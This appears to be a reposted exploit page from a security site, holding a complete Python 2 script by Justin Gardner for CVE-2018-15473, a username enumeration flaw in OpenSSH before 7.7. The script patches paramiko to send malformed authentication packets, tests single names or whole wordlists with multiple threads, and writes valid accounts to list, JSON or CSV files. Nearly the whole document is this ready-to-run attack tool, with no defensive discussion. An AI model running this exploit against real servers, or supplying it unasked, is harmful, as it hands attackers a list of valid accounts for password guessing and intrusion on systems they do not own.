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OpenSSH 7.7 - Username Enumeration
来源:vfocus.net 作者:Gardner 发布时间:2018-08-27  
# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473
 
###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################
 
#!/usr/bin/env python
 
import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
 
# create custom exception
class BadUsername(Exception):
    def __init__(self):
    pass
 
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass
 
# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()
 
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result
 
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
    sock = socket.socket()
    sock.connect((args.hostname, args.port))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        # server was likely flooded, retry up to 3 times
        transport.close()
        if tried < 4:
            tried += 1
            return checkUsername(username, tried)
        else:
            print '[-] Failed to negotiate SSH transport'
    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
            return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
            return (username, True)
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")
 
def exportJSON(results):
    data = {"Valid":[], "Invalid":[]}
    for result in results:
        if result[1] and result[0] not in data['Valid']:
            data['Valid'].append(result[0])
        elif not result[1] and result[0] not in data['Invalid']:
            data['Invalid'].append(result[0])
    return json.dumps(data)
 
def exportCSV(results):
    final = "Username, Valid\n"
    for result in results:
        final += result[0]+", "+str(result[1])+"\n"
    return final
 
def exportList(results):
    final = ""
    for result in results:
        if result[1]:
            final+=result[0]+" is a valid user!\n"
        else:
            final+=result[0]+" is not a valid user!\n"
    return final
 
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
 
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
 
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
 
sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
    sock.close()
except socket.error:
    print '[-] Connecting to host failed. Please check the specified host and port.'
    sys.exit(1)
 
if args.username: #single username passed in
    result = checkUsername(args.username)
    if result[1]:
        print result[0]+" is a valid user!"
    else:
        print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
    try:
        f = open(args.userList)
    except IOError:
        print "[-] File doesn't exist or is unreadable."
        sys.exit(3)
    usernames = map(str.strip, f.readlines())
    f.close()
    # map usernames to their respective threads
    pool = multiprocessing.Pool(args.threads)
    results = pool.map(checkUsername, usernames)
    try:
        outputFile = open(args.outputFile, "w")
    except IOError:
        print "[-] Cannot write to outputFile."
        sys.exit(5)
    if args.outputFormat=='list':
        outputFile.writelines(exportList(results))
        print "[+] Results successfully written to " + args.outputFile + " in List form."
    elif args.outputFormat=='json':
        outputFile.writelines(exportJSON(results))
        print "[+] Results successfully written to " + args.outputFile + " in JSON form."
    elif args.outputFormat=='csv':
        outputFile.writelines(exportCSV(results))
        print "[+] Results successfully written to " + args.outputFile + " in CSV form."
    else:
        print "".join(results)
    outputFile.close()
else: # no usernames passed in
    print "[-] No usernames provided to check"
    sys.exit(4)
 
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